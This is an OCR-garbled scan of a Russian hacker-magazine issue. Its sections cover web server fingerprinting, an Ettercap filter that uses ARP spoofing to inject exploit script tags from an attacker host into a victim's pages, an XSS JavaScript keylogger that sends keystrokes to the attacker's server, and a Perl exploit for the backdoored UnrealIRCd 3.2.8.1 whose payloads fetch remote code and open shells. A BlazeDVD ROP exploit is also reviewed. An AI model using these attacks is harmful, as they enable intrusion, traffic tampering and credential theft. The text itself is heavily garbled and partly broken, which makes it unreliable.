Ёсть и пассивнь!е методь!, и активнь:е. Активнь:е - более точнь!е' но
требуют пось;ла [ н е]ста нда ртн ь;х за п росов, кото рь!е мохно о6на рухить'
8от н екото рь:е способь: фи н герп р и нта:
. порядок полей в ответе нттР_сервера;
. Различные ответы сервера на запросы вида:
пв!втв / нттР/1.0 _ <<запрещенный>> метод;
свт / нттР/з.0 <<новый>' версия протокола;
свт / !А!А/1.0 _ нестандартный протокол;
нвА! / - некорректный запрос;
[:1такдалее.
. Различия в порядке слов, регистре в различных ответах
веб_сервера;
. Различные текстьт оцибочных (404, например) страниц;
[о есть' на первь;й взгляд, способов очень много.
1аким о6разом' мь! мохем достаточн0 точно вь!делить отпечаток кахдого
веб- сер в ера '
0бщая идея' я думаю' понятна. Ёа практике хе есть мнохество тулзов.
Ёапример, ь11рг|п| подш!л/п!х и входящий в вт4{пе[_500аге.соп/
ь {{0г п{/]' оп енсорсн ь: й [:({ргесоп под тш!п | согт ош |ес' с |/рго] е [^ ге/
п!|0гесоп/. [1оговаривают' что одна из лучших ,]' 0бе прилохень: на
диске.
Разница мехду ними, в основном, в количестве и качестве используе-
мь!х тестов и логике' по которой они определяют вахность <<прохохде-
н и я > веб-се рверо м ка кого_то теста. 8 едь понятно, что точ н ость оп реде-
ления версии сервера по отпечаткам имеет вероятностнь:й характер и
во многом основь!вается на методе вь!ставления оценокза прохохдение
кахдо! о из 1естов, проводимь!х программой.
кстати' даже о унетом глубокого изменения каких-то характеристик веб-
сервера' определить вероию можно. например, еоть пе[-50|]аге'согп/
ь1|рг п !/п{1 рг! п | ра рег п1 п1 1 для модуля 5егмегма$к к !]з'
Ёсть также и онлайн-фингерпринтер веб_оерверов (и не только) - это
шшш.пе[сга[! с0п')'
,!альнейгшие примерь! приводить не буду- проги слишком прость!.
Ёо для более неткого понимания (луч|1]е один ра3 потрогать' чем '] 00
раз увидеть :)) советую поигратьоя с любой из этих программ и каким_
нибудь сниффером. 6ерверь: модч6 ч3ф1ц цд зБос]а п [: о 'со гп. 1еорию
на прооть!х примерах можно почерпнль туг _.]]р!.].л-ц!ку@с₠щ07
ппар/. База ответов на различнь!е запрооь! - оопо|-]|ео.сп/ого]ек1е/
п |[о гесоп/?5 = оа1аьа5е.
[ледуеттакхе упомянгь' нто Ё1[Р-фингерпринт очень нехелательно
проводить через !|_[Р-прокси' так как последний мохет сильно изме-
н ить ответ от сер вера '
₠а5ц
Ёас[
хАкЁРскиБ
сБкРБть|
пР0сть|х
8Ёщви
['1 ример п ри менен ия п{1рг;п!'а.
) оз8
х^кЁР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
1
]
]
1
1
3ААА9А: опРЁдЁлить использ0вА-
ниЁ РнР и вго вЁРсию нАудш1Ённ0м
сЁРвБРЁ.
3адана нетрудная' но в некоторь:х слунаях бь:вает необходима. (
примеру' когда на серверах часто юзают гпо6_гешг!|е [если не в теме _
оченьлаконично описано на 8икипедии в статье "(][1!_[4нтернет").
3анем версия? ( примеру, сам РЁР имеет внутренние уязвимости'
которь!ми мохно воспользоваться. 8 этом мохно убедиться' порь1скав
на ехр|о!!-65.соп. йохно посмотреть заголовок от веб сервера, где
наряду с его баннером мохет бьтть и инфа о РЁР.
: |!| пггп, 1 /т!оп!а[}е.гш!:'=р'нг'Ё'з5Ё;:;г.:;|'-г'4:;:;- 1 1,]]-А]|
Файл правка
8ид
[з6ранное
сФвис
(пцавка
(орявь;й знанок на 8(
Ёо естьдругой забавнь:й способ. А именно - <пасхальнь:е яйца> от
создателей РЁР. 11ринем они применимь: к любь:м РЁР-скриптам,
дахе с ошибками в стиле Ёа|а[ Ёггоп [1ишем лю6ой из пунктов к любо-
му скрипту:
скрипт. рьр? =РнРв9 5 68гз 6 _!4 2в _ \7а2 А7 6 9 0 0АА0 0 1Асг42
скрипт. рьр?-РнРв9 5 6 8гз 4 о42 8 - 17а2 _ ^'7 69 _ 0 0АА0 0 1Асг42
скрипт. рьр?=РнРЁ95 68гз 5_о428- |7а2 - А1 69 -о0АА001Асг42
скрипт. рьр?-РнРввв5г2А0 3с92 -1 1аз _АзА9_4с7в08с10000
скрипт. рьр? =51]но8 5 6? г54 о42в - 7 4 а2 - ^7 69 0 0оАз 0 2А5г1 в
['1ервь:й - забавная картинка' второй - лого РЁР' потом лого 7[\0,
список авторов. лого от5цбоз!п [добавка к РЁР). [1ринем отобрахе-
ние первого пункта сильно меняется в зависимости от версии РЁР.
[оответствие и описание <почему оно таг) моуно найти на шшш.0оБр.
соп/р[:р еаз{ег е99'р[:р.
)(аль. что отключается эта фияа тем хе, нем и добавление в ответ
сервера заголовка о РЁР, а именно - установкой <ехрозе_Р[р=о[{" в
рбр.1п1.
3абавнь:е картинки в РЁР
щ
3А[А9А: подсунуть жЁРтвЁ св0й
спл0ит, используя ФильтРь|
ЁттЁпсАР.
!ля тонности 6уду рассказь:вать о консольной версии Ё11егсар' входя
щей в 8ас[<1гас[ 4.
[1рисцпим. [оздаем текстовь;й файлик <Б|1р [![|ег.{х1> и пишем в него
следующий код - фильтр на Ё11Р трафик.
',,':(''т:т []]'(]г.)]{|)1']'с]],, ]/;а:'ённь1й пор'1'
|| (|р.рго[о == тсР && сср.а5[ == в0) {
РЁ]]]БЁ14Ё:
['1 родолху тему ата к о6ь: ч нь:х юзеров. 6ица ция та хе - <доступен > тол ько
6раузер пользователя' а нам требуется <заставить, перейти его на нашу
страницу с эксплойтом. [1редставим' что мь! находимся с ним в одной
подсети ' та к ка к нам снова понадо6ится возмохность доступа к трафи ку.
Ёо на сей раз воспользуемся такой хорошей вещью как <Ё[1егсар \6". !-1то
приятно - есть и 0[..]!'шнь:й интерфейс' и консольная версия. ['1оследняя
версия 0.7.3. Ёасайтее{|егсар.зоогсе[ог9е.пе|естьисходники какпод
разнь!е видь! п!х'ов, так и под винду' 8 общем' это сниффер' наделеннь:й
вахнь!ми и нухнь!ми для нас возмохностями' 8 их нисло входят:
. вынимание и' если надо, расшиФровывание логинов и па_
ролей к большотд: числу протоколов ;
. модиФикация передаваемь|х в обоих направлениях пакетов;
. проведевие мап |п |ье м|о.с1е атак (м|см);
. пассивньтй анализ траФика с фингерпринтом ос. сервисов
хостов -
( тому хе' г|1егсар расширяет свой функционал за счет всевозмохнь!х
плагинов'
Ёо для данной задачи нам потре6уются его возмохности по поиску и
модификации даннь;х 1[Р/!Р-пакетов на <хивом)' трафике.
0бщая идея такова: во-первь!х, получаем доступ к трафику; во-вторь!х'
устанавливаем фил ьтр для Ё{1егсар'а на модифи каци ю Ё 11Р-ответов
от се рве ро в, куда хе ртва заходит. й одиф и ка ция буАет за кл юнаться в
до6авлении ли6о сплойта' либо ссь:лки на сплойт.
[||егсар \0. [1редварительное сканирование подсетки и начало атаки
BemeP34 for Journal-plaza.net
/ '/и!{е1{ с1року
|' (5еагси(оАтА.оа[а,''Ассер|_впсос{п9'' ) ) {
//заменяем т{а !усор
гер1асе (''Ассерс_впсоа|п9,',''в1аь1а_в1аьь1аь, ) ;
/ /мессат'а /1]]я нас
п59(''Ассер!_впсоо'п9 !!е]6 }:ав ьееп сьап9еа\п', ) ;
)
)
/ /всл'] протоко,1 тсР, исхо'ця!1!1й порт _ 80
]' (|р.рго|о == тсР && !ср.5гс == 80) {
тер1асе ( ''</ьосу>'' , '' <3сг|р[ суре=\ "[ехс/]ауа5сг|рс\ ''
5гс-\"п[[р:,//ет{1'соп,/зр1о!!. ,5\''></5сг|р!> \''', ) ;
/'/ }4егтяем ответ' с_^р.е}].] ] ]т1.т], _ стр.]! ]]1].1 / ]]о]]. 1 .1! ]1,ч]]
какой_то свой] с11пог{'т
гер1асе(''</ьсп1 >",
'' <|п9 зтс=\''}:[|р :,: /ет|1 . соп/ет1 1 . 9|!\', ></ |п9>,, ) ;
п39(''50ссе55]\п"); , /'[]есса1.а д]]я н;]с
)
,[ля создания фильтров к г1|егсар существует примитивнь!й <<язь!к)>,
которь!м мь! и воспользовались. 3десь мь1 со3дали два <правила>.
['1ервое применяется к пакетам, отправленнь!м на 80 порт г!0 протоколу
1[Р. 0б":чно э по запрось! браузера на о' [ рь!тие той или инойс] раниць'
веб-серверу. 8 них ищем стронку<Ассер{-Бпсо6|п9> [поле стандарт'
ного нттР-заголовка, пось!лаемого браузером| и меняем ее на любой
другой тексттого хе размера [это вахно]' [ребуется это' потому что
обь:нно в.Ассер|-Ёпсо6|п9> указь!вается' что ответь1 от ве6 сервера
мохно схимать. Ёо по схать:м даннь!м мь! не смохем провести необхо-
димое нам изменение Ё|!х,,1[-страниц. [',]оэтому мь: меняем это поле на
нто-нибудь другое. оервер хе при разборе пропустит это кривое поле
и ответит нам в несхатом виде. второе правило применяется ухе к
принимаемь!м даннь;м. [итуация похохая. !елаем вь;борку пакетов от
веб-сервера (протокол 16Р' исходяций порт - 80). й меняем стронки
"./Бо6у'"' "./[1гп[," на либо яваскриптовский' либо рисунок-сплойт'
не суть вахно. []онему именно эти теги будем менять? ! них есть один
плюс - они присутствуют почти на всех Ё1}т4|-странинках в единичном
числе. что повь!сит шансь] на успешную эксплуатацию уязвимости при
малом количестве запросов к нашему серваку. но все зависит от ситуа_
ции' браузера хертвь! и т.д. Ёще пара моментов: функция .гер[асе'
регистрозависима, то есть мохно повторить искомь!е строчки в разнь!х
регистрах' а функция <гпз9> вь!водит нам соо6щения в логах' чтобь: мь:
знали, когда правило задействовалось.
,[алее тре6уется перева р ить на ш те кстов ь: й фа йл с фил ьтром в удобо-
варимь;й для Б||егсар'а вид. ['1ишем в консоли:
е[[ег''1сег ьсср-{|1сег. [х[ _о ьсср_! |1сет. е{
где ь{{р_{!|1ег.|х1 - наш фа йл с фил ьтром, а в "-о [11Р {![{епе[> указь:-
ваем имя будущего Ё|1егсар-фильтра |необязательная опция].
,[,алее запускаем сам г||егсар.
е|['етсар -т _г ьсср_{|1['ег.е{ 'м ^РР /192.168.0.7/
|де опция <-[, указь;вает на то' что мь! запускаем текстовую версию
г{|егсар; <-г ь11р_{;11ег'е1, - подключаем полуненнь:й от Ё|1ег{!|1ег
фил ьтр ; "-й АРР / 192.1 68.0.1 / " - указь! ваем Б |1егса р' нто требуется
запустить й!{й атаку, а именно - агр-спуфинг [в г1|егсар входит еще
несколько классических атак].'] 92. 1 68.0 1 _ !Р шлюза. (роме встро-
енности' бонусь: использования встроенного агр-спуффинга еще и в
том' что после своей работь: сниффер восстанавливаетАРРтаблиць;,
пось!лая правильнь!е значения' ктому хе не надо заморачиваться с
редиректами. в итоге Ё11егсар будет фильтровать трафик от нашей
хертвь;, добавляя в конец кахдой Ё]й| ки наш сплойт. (ак понима-
ешь, Ё[[егсар - тулза крутая' 0собенно с возмохностями фильтров' а
они широки. 3то и изменение, декодирование пакетов, и использова-
ние регекспов, и запуск команд.'.0сновную инфу мохно почерпнуть
из пап'ов и прилагаемь!х к Ё|{егсар'у примеров. (стати' если будешь
раз6ираться с этой тулзой' то помни. что она не сниффиттрафик'
пось:лаемь:й машиной' ьа которой она установлена.
1
1--
[1рикруненнь:й поиск по сайц ха(ер.гш
:ц:]д]р ! -| @щ@ м' ь 0м п*.|
@!*-"
.,.Б
щ
РЁ|].|ЁЁ!'|Ё:
3А[А9А:0БлЁгчить сБоР
инФ0РмАции.
8 своих околохакерских или хитейских делах мь! часто сталкиваемся
с нео6ходимостью поиска информации. Будьто с6ор информации о
каком-.т0 сервере или поиски какого_то эксплойта [или поиски любви :]).
| уверен, нто кахдь:й из нас имеет кучкузакладок к основнь!м ресурсам
для этого. 1акхе есть всевозмохнь]е плагинь! для ускорения этого дела-
Ёо в о6оих слунаяхть[ привязь!ваешься к определенному компьютеру/
софц {осо6енно когда пользуешься разнь!ми браузерами]- Бсть' конеч-
но, реш ен ия этой трудн ости, но... [ону п одел иться находкой ' которая
нрезвь;найно порадовала меня - сервис на ||1р://уеБ9.пе|/о. ['1о сри'
это агрегатор кучи всевозмохнь:х поисковь:х {и не только) систем.
8вел что-то в строку поиска иснизуувидел вь;борку с цгла' один клик
- и ухе с вики. Ёо это не бь;ло бь! настолько интересно, если 6ь: не две
вещи. 8о-первь:х, уеБ9 - это хакерская группа' потому и сервис заточен
подзадачи, связаннь:е с информационной безопасностью' 11оэтомутщ и
поисковики по сплойтам, уязвимостям, и всяческие шбо!з'ьп да портска-
нерь;, кодерь:/декодерь! и т.д. (стати, очень совецю просмотреть весь
набор сайтов' [1одборка действительно хороша' на все случаи хизни,
ка к го ворится ' \4 охн о нто_то для себя вь;дел ить' за пом н ить.
8торой хе плюс за ключается в том' нто это - о6щедосцп нь: й <веб-аг-
регатор> поисковиков (9о50.р[7ш5а/).0н онень простой, так как исполь-
зует тол ько ..)ама5сг! р1 и фре й м ь;. _[о есть мохет ра6отать дахе ло кал ьно и
не привязан к 6раузеру.
1-1оэтому его мохно бь:стро и легко настроить под себя.
!ля того' нтобь; добавить какой_то поисковик' тре6уется всего лишь
вставить строчку в Ё1й[ ку агрегатора. Ёапример' до6авим поиск ло
сайцхурнала. 71щем и до6авляем:
сАт5 [ ''сепега1" ]
) о4о
BemeP34 for Journal-plaza.net
"хакер'' :''ь[ср : / /м. хакер. г!/' 1оса1 / 5еагсь/ 5еагсь
;опэЁ^уЁ-9с'!
[де %з - место, куда 6удет вставляться та строка, которую ть! ищешь.
8 итоге в категории "0епега[> у нас появится пункт "ха[ер". 8се
просто. ['1ринем мохно ввести дополнительнь:й текст или параметрь!
к запросу. (ак это сделано, например, в поиске сплойтов по гуглу, где
добавляется к введенному запросу <[мш[пегаб|[|!у ог мш|пегаб![|1!ез)
0Р [ехр[о!|э ог зесог!1у бо[ез]", и в итоге нам надо вводить только
название |0.
8ерсия агрегатора, используемая 1ЁЁ0' явно более продвинутая,
нем от разработчика. 1ам есть и многострочное окошко для запроса
и возмохность редактирования итогового запроса. (тому хе по
основнь!м сайтам поискухе организован' [отя она и с <мусором>>
[реферь: на группу), удалить его не составиттруда. 8 о6щем' на
диске прилохена именно она.
щ
РЁ]]]ЁЁ14Ё:
!,55 бь:вают разнь!е: активнь!е' пассивнь!е. [')ервь:е, конечно, более опас-
н ь!, та к ка к оста ются на серва ке, но и со вторь! ми м охно кое-что сваять.
9то онень хорошо для нас - }55-уязвимости чрезвь:найно распростра-
нень;.3то связано и со слохностями защить! от них' но что вахнее - с
общим отношением к ним' дахе у специалистов в о6ласти/:Б.8едь мно-
гие не считают[55 за юзабельную уязвимость! !авай посмотрим' (ак
на сч ет кейл о ггера нерез [55? ['1 р и м ити вн ь: й ке йлоггер состоит из двух
ко м поненто в: са мого ..)ама5сг! р{'а ' отвеча ю щего за п ерехват нахати й и
отправкуданнь!х о них, ну и сервера, которь:й 6удет принимать и сохра-
нять даннь!е. ['1отому нам требуется левь:й [мохно бесплатнь:й) сервак с
подде рхкой' на п р и м ер' РЁ Р ..) ама5сг! р| { код с ! л за п езе с ц г! [у. ] п [о] :
уаг кеу5=''] / /олреде\яещ пе!е}]енную
аос!пепс.опкеурге55 = {цпс[]оп(е) {
/ / перехвать]ваем нажатия
оес = ш1псош.еуеп!?еуепс :е; /,/перехватьтваем собглтие
кеу = 9ес.кеусоае?9е|.кеусоое:9е[.сьагсоае;
1 о!'\'чё0ие ( 'д ] нажа |о.'] (Ёолк!]
кеу = з[г1п9.'топ₠}:аг₠о6е(}<еу); /'/перевод кода в нор!1 вид
}<еув+=}<еу; /,/кункуем нажат11я в строчку
)
ш1псош.5ес1п|егуа1 (|цпс!!оп( ) {
//отправляем даннь]е через временнь{е про}{ежутки
пеш тпа9е( ) .вгс = 'пе[р://твой_хост;80,/}<еу1о99ет.
рьр?кеу3=' +кеу5; //передае}1 даннь]е скрт4пту
}<еуэ = " ; / /с6расьтваем переменную
). 1000);
.!з}<еу|о99егм1 '4 в работе: !Р, уникальнь:й !0, имена полей и перехваченнь:й вводданнь:х
/] о ги ка та ко ва: скри пт перехвать! вает нахатия кла в и ш и сохра ня ет их в
переменную' а через определеннь!е промехлки времени коннектится к
нашему РЁР-скрипц, передавая полученную переменную в запросе.
.!алее заливаем на сервер РЁР-скрипт:
< ?рьр
$1о9= $_3вРувп ['01]вку_5тк]шс'' ] . '' \г\п'' ;
*о]уцаём ла::ьть:е о: !]з
${р=[ореп(''1о9.!х!" , "а"' ' / /создаем Файл на хостинге
'рцс5 (${р, $1о9) ; //заполняем его
!с1оБе ( $'р) ;
?>
3 зависимости от сицации, пихаем либо сам код' ли6о ссь:л ку на него
яерез !,55 на сервер или пользователю. [еперь все нахатия клавиш
пользователя на странице с нашим яваскриптом будгсохранень! на
нашем сервере.
Ёо э-о бь:л с кореё п0 к633 ! ёл он ь! й п ри м ер '
(ачественнь:й яваскрипт-кейлоггер ть! мохешь взять с зошгсе{ог9е.
пе{/рго]ес{з/1э(еуфщз1 (либо на диске]. 8ерсия 1 .4. 8рь здесь та хе -
скрипт и сервер. Ёо реализация гораздолучше: при сохранении лога
отмечается поле, в которое вводилисьданнь:е и уникальнь:й !0 ввода
даннь1х' так что с парсингом нет вообще никаких проблем' Ёесколько
странно, что сервер здесь реализован в виде ехе шника на питоне. Ёо
перенос на РЁР' например' проблем вь!звать недолхен. 8 архиветакхе
прилагается пара примеров' все очень показательно. 0дин существен-
нь;й минус данного логгера - нет поддерхки русского язь!ка' !о ее' я
думаю, нетрудно буАет прикрщить. !4'спользование кейлоггера не всегда
возмохно и не всегда оправдано. !о в определеннь|х случаях мь! мохем
п олун ить бол ьш ие бонусь;, чем, на п ри ме р, от класси чес кой крахи куки -
сов' так какданнь1е мь! получаем неизмененнь!е' незашифрованнь:е. 1ак
что стоить помнить о такой шпке.=
3ААА9А: укРАсть л0гин' пАРоль
посРЁдств0м х55 и квйлоггЁРА.
Файл
[1равка 8ид!4э6ранное
(ервис
ф из6ранное $теэс\
оооооо0оо
> о41
BemeP34 for Journal-plaza.net
1
0|9 !а[ 5ес!г 1у а.5|п15оу@{5ес.г0
0Б30Рэкспл0йт0в
!! я яцчт р: .|'1 ].9д9 -в-с_е-6 ол ь цч и 9-0л ь щ е р а 3 р а 6 о т ч и к о в в ку р с е п р о 6л е м
к ц!р0р м1ци 0н н0и 0 е30 па сн0сти, уя3ви м 0!ти'находя1ся все ч? ще й ча ще.
5ат0 экспл0ить|стан0вятся все сл0жнее и сл0жнее. |0 есть, если раньше
д0стат0чно 6ь:ло !Р99т_ч.цццтцуцзнимость, т0 теперь едв н1д0 п0нять, как
9;в]{9щ19.в1.1цв-1!де 9дч!{9!'!а,8ремена'ц9няют'ёя.1БйерЁ!1о не то]:Бйо
;-о[-аг{, но такн|ё]!.[ц9!99,.!..:!Р1,:!.:!цай,1{о й|ай й ыпб б66 сторонь:
и кад е сть тал а нтл и !|]9!1уц.ц це_люди, р езул ьтат р а 6 оть: кото р ь[х
влен здесь' на этих страницах.
0 1 п3нх{Ё5д#5лн#,'в 3{,'*Ё!'.1*. ,
@
суЁ 2010-207ь
]мв
. {..)пгеа[ !Р60 у. 3.2.8. 1
пп1тт
11аннем сегодняшний обзор с про6лемь: в известном !Р[-демоне -
! п геа| ! Р[0. !а ' еще не так давно ! Р6 бь:ло для нас всех вахнейш и м
каналом общения' 8 те времена еще не существовал ни Ёасебоо}<' ни
1ш!1{еп и люди охотно обменивались6айтами в консольном рехиме. 6
тех пор утекло не так много водь!' и поэтому !Р6 - по-прехнему полно-
ценнь:й и лопулярнь:й сервис.
й тем обиднее/веселее [нухное поднеркнуть), что некие злодеи'
видимо' фанать: \.А/Ё8 2.0, хелающие захватить мир' внедрили бэкдор
{8асй0оог - нернь:й вход] в исходнь!е кодь: дистрибутива (..]пгеа| !Р[0
.3атрояненная> версия !Р6-демона лехала на зеркальнь!х серверах
ах с ноября 2009 года по июнь нь!нешнего года. Ёадо полагать, что
за это время мнохество до6рь!х и честнь!х людей успели установить
данное [10. 3тот факт 6ь:л обнарухен создателями демона. о чем они
со мнохеством извинений и донесли до широкой общественности.
!'!'т!п
[!.1 ирокая общественность лохелала создать эксплойт, которьпй
использует бэкдор в (.)пгеа[ !&[0' для своих корь!стнь:х целей. [ахе в
состав йе1аэр[о!1'а добавили со0тветствующий модуль.
['1осмотрим, что хе представляет собой этот бэкдор. (ак оказалось'
сам бэкдор - это четь!ре строчки в исходнь!х кодах' первь!м де]|ом
бь;ли добавлень! две строчки в модуль 5 бзс.с, в функцию геа6_
рас|<е[{)' 3та функция читает и обрабать:вает все входящие пакеть!.
6нитаннь:е даннь!е помещаются в переменную геа6бш|. 6разу после
того, какданнь!е 6ь:ли считань: из сокета' вдело вступаютсиль! зла, а
вернее, две строчки' внедреннь!е в эту милую функцию злоумь!шлен-
никами:
1 | ]'с]ог овв1}смо!вз
|г ( !пепспр(геа0бц[ , оввшсмопвз_1шго, 2) )
> о42
овв1'сз_[ос (геа0бш{ ) ;
1.:1 11 :
1ут идет сравнение первь!х двух байт считаннь;х даннь]х с некими
статическими байтами, определеннь!ми за 0Ё8|.]0й00Б3_! \ Ё0 {если
определен 0Ёв|..]ом00гз]. Ёсли 6айть: совпадают, то далее считаннь!е
даннь!е переходят в 0ЁБ|.'.]03_|06[]. 9то хе это за определения? А это
на самом деле макросьг, добавленнь!е в файл з[гос1'Б'
*,.1-.,: ]]. !вв11смоовз ( (х) ->!1а9з & г!Ас5_шогАкв!Ас)
..
.].].] оввт_]смо!вз
] :1+: :гте !ввш6мо!вз_]шго "Ав.
+.1.:] пе овв11с3_!ос (х) овв{1сз_оо!ос_5у5твм (х)
*|1'] : ; ] ]е !вв1]сз_оо!оо_5у5твм ( х ) 5у5| еп ( х )
Резюмирую увиденное: при счить!вании кахдого входящего пакета
бэкдор сравнивает первь!е два байта даннь:х с последовательностью
<А3". Ёсли совпадение есть, то содерхимое даннь!х передается вь!зо-
ву зуз|еп[]' то есть на исполнение в операционку.
3 кс пл ойт:
+ ! ,/ц5г/ь|п,/рег1
+ 0пгеа1з.2. в - 1 Репо[е !о!]п1оасег/вхесц|е тго ]ап
# оо шот ]]1$тР1вштв РР1уАтв
# -|нач (210)
!5е 5оскес;
ц5е ]о: :5оскес;
## Рау]оаа орс!оп5
* Различньте <<нагрузки>>. ло сути командь! это любь!е
* командь: для оболочки цп|х/1|пцх, начинающиеся с
<<А3; > .
# первь:е два байта гарантируют, нто бэкдор передаст
# все в 5у5сеп(); .ттобь: вь:полнилась без проблем
# осталььтая часть даннь]х.
пу $рау1оаа1 = ,АБ; сё /спр; ш9е[ п[тр.'//
хАкЁР 08 /1 з9/ 1 0
BemeP34 for Journal-plaza.net
4 |пп0п|{у0ёьц99...4 !пй!п;у осьц99.. - в|!2ё0уо..Б:гсрц -
г;!е у|Ф 0еь09 Р!ц9!п5 !пп!!ь ор!|оп' ш!паош н.!Р .!оь _ 5 х
эяэ*в (х-'[т]ч}|]|т;г-_г;й-|;_г; р } ь | т'''. з э
в|а2еоуо' (0бра6отчик>> восстанавливает стек для работьс Р0Р
раске | 5 {: огпБес1]г | [у. ог91 / чго!1р5 / 5мппег9и / 1э1 г0в|е 1 [
цл1х Ф Б|пс]э}:е11; с1]поо +х ь] паБье:| 1; . ' ь|г]65|]е 1.1 [.'
пу $рау1оас12 = 'Ав; со ,/|]|р; ш9е[ }]| | р: /,'е|]!е1:::з.,,.:с1ээ
со1г:,,}]о; . ]х[ -о })о:; с]ппо.] +:{ ьо| ; . /'])о[ .'' ;
пу $рау1оа03 = 'Ав; с4 .'1-:пр; !;9'-г- и[[г-':'. -'!:',::]:з.:;.:|з
с0п,,/г. !х'.] Ф тз:те|]; с1:;ттос] г: гв}:е11; .5}]е1 ' ;
пу $рау1оа04 = 'Ав; и'11а11 1гсо';
пу $рау1оаё5 - 'Ав; са-.; :5)п/тп _тт -'|*; },:г, :т, -!:
$}тоз[ = '' '' ;
$рог| - '' '' ;
$суре - '' '';
9}дозг = @АРсу[0];
$рог| - @АР.6у[1];
$суре = @АР.су[2];
|! ($|оз[ еч "") { ц5а9е(); }
|г ($рог| е9'") { шза9е(); }
1г ($|урее9''") {шза9е(); }
зшб шза9е {
рг{п[' " \п[]5а9е : \п" ;
рг'п[{ "рег1 шпгеа1ршп.р1 <по5[> <рог|> <суре>\п\п";
рг|п[{ "₠ошапо 115с : \п'';
рг|п[г '' [1] Рег1 в|по5ье11\п";
рт 1пт [ " |2) - Рё( ] Реуогзе 5пе.] [ п'';
рг|п[{ '' [з] - Рег1 во[\п'';
рг|п[г '' -__--_-\п'';
рг'п|. г '' [4 ] _ в|цс6ошп |гс5егуег\п '' ;
рг|п[| '' [5] _ ае1е[е |гс5егуег\п";
ех1| (1);
)
5ць цпгеа1_|го]ап {
пу $|гсзегт = $ио5|;
пу $1гсрогс = $рог[;
пу $5оско = 1о::5оске[::1швт_>пеш (РеегАоог =>
$|гсзегт, РеегРог[ => $|гсрогс, Ргого -> ''[ср'') ! ! а|е
"га;1ео со соппесс !о $|гсзегм оп 9|гсрог[ . . . \п\п'';
рг1п[ '' [+] Рау1оао 3еп[ . . . \п'';
} е15|! ($[уре ео "2'') {
рг|п[ $эос}с0 '' $рау1оао2 ";
} е1з!! ($гуре еч "3'') {
рг|п[ $зос1<0 '' $рау1оа63 ";
} е15|г ($гуре еч ',4,') {
рг|пг $зос}<0'' $рау1оа04" ;
} е15|г ($суре еч,,5',) {
рг|п[ $зос}<6 " $рау1оа65 " ;
} е1зе {
рг'пг'г '' \п1пуа1'о ор[|оп . . . \п\п'' ;
ш5а9е ( ) ;
)
с1озе (9зос}<6) ;
ех1[(1);
)
цпгеа1_|го]ап();
к;']|||16п|
['1роверить исходнь1е кодь!' из которь]х собран демон' на наличие
шести троянских строк или' что 6удет проще' проверить й05-хеш
архива. } затрояненой версии хеш долхен 6ь:ть752е46124873с1679|а9
9 6е3|52а27 4ё' у нормал ьно й верси и 7 67 41 е9 4е067 с0а 7з7055з{60 1 5
06с66' [сли что не так - удалить строки и пересобрать !8[-демон или
скачать с официального сайта|и опять-таки проверить хеш, на всякий
похарнь!й].
02!н'^?вз!БЁ!Р]*"'*
!швв
. 8|а:е0!0 Р[ауег 5.'1
пг.{тп
0б уязвимости в этом плеере известно ухе достаточно давно, тем не
менее я бь; хотел обратить внимание насвехий эксплойт под данную
уязвимость..[ело в том, что эксплойт работает в среде \А/!п6отмз 7' а
знанит' умеет обходить 0ЁР и А5[Р' Автор эксплойта - баг-хантер,
известнь:й в [ети под ником |т']г гпе' в девичестве - [тивен [и
лей |5|еуеп 5ее[еу). [1арень этот развлекается тем, что ищетдь!рь! в
различном ['10 и пишетадекватнь!е' рабочие эксплойть1, за что честь
ему и хвала (6логтоварища - ]:!1рч,]/тте!-щцо !₠1]. хочу отметить'
что состоит он в команде [оге[ап 5есшг!|у 1еагп, создатель которой'
@
\/А
|' ($[уре еч "1") {
рг|пс $вос}<ё " $рау1оао1 ''
хАквР 08 /1з9/ 10
> о4з
BemeP34 for Journal-plaza.net
соге[апс06зг, вь!пустил недавно свой ] 0-й туториал о том' как писать
современнь!е эксплойть!' используя технику возвратно-ориенти
рованн0го программирования' |еудивительно, что и этот эксплойт
основан на той хе идее-
вп'6п
!аннь:й эксплойт создает файл плейлиста сз|-б[а:е6у6.р[1' при от-
крь!тии которого с помощью 8[а:е0!0 Р[ауег вь;полнится фирменнь:й
шеллкод - вь:зов йезза9е8охА с соо6щением о том' что <хак)) удался
,)' 1рудности такого эксплойта в ![!п6ошз 7 две' 3о-первь х' память'
где лехиту нас шеллкод {а лехит он в стеке] является неисполняемой'
поэтому шеллкод не имеет никакого морального права вь!полниться.
8торая проблема - адрес функции \!езза9е8ох на}.4 неизвестен' так
как все системнь:е библиотеки в !!!п6оууз 7 имеют слунайнь:й сдвиг
относительного базового адреса. 1аким о6разом, после перехвата
управления (а именно - перезаписи 5ЁЁ в стеке]' эксплойтдолхен
как-то сделать стек исполняемь!м, например' с помощью вь1зова
функции !!г|ша[Рго|ес{, а еще долхен как-то определить адреса
используемь:х функций [!!г1ша[Рго|ес1/йезза9е8ох]. Б сли ть; читал
предь!дущие номера, то в курсе' чтотакое Р0Р' и с нем его едят. Ёсли
нет, то напомню * после завершения работь! уязвимая функция берет
из стека переписаннь:й нами адрес возврата. 3тот адрес указь:вает на
некий унасток исполняемой памяти с некими нухнь!м и инструкциями'
о6ь:чно их одна-две штуки' 3ти нухнь!е инструкции в идеале долхнь!
заканчиваться командой РЁ1\' которая берет следующий адрес из
стека' которь:й такхе втиснуттуда при переполнении 6уфера' 1аким
вот путем вь полняется код. как бь из кусочков чухого кода. гт')г_гт')е
правильно заметил, что если братьтакой код из би6лиотек самого пле-
ера' то дахе несмотря на наличие А5|Р код всегда 6удет находиться
по одному и тому хе адресу. !ело в том, что плеер скомпилирован без
поддерхки А5|Р, и поэтому все его модули всегда грузятся по одному
и тому хе адресу [со следующего номера я ухе не буду подробно рас-
пись!вать Р0Р. иначе Рогб меня загрь!зет за трату ценной 6умаги на
такую избитую тему [и правильно сделает - прим. ред']]' |етривиаль-
ной бь:ла и задача заставить этот &0Р работать' 3едь в нем штука: во
время обработки 5[Ё блока стек содерхитлишь адреса на обработник
и следующий блок. 3се остальное в стеке далеко от Р0Р программь:.
пг_пе нашел в статичнь!х модулях адрес смень! значения вершинь!
стека.1огда процессор переходит по этому адресу (думая' ято там
обработник) и вь!полняетизменениеуказателя на вершинустека:
0х616074Ав : Аоо в5Р, 40в
0х616074в4 : РЁ1$ 4
; 1'о11 вос]('].1]1о]];]е]], бе:;е:': .|д]]ес ]] цв]]| |1с:{ 1]о [1е|]о!{((е
1аким о6разом, Р0Р-программа исполняется дальше' так как РБ1\
4 6ерет из ухе изменившегося стека значения' подсунуть!е гт']г |т']е.
Более подробно о работе Р0Р мохешь прочитать в моей статье'
> о44
* о*
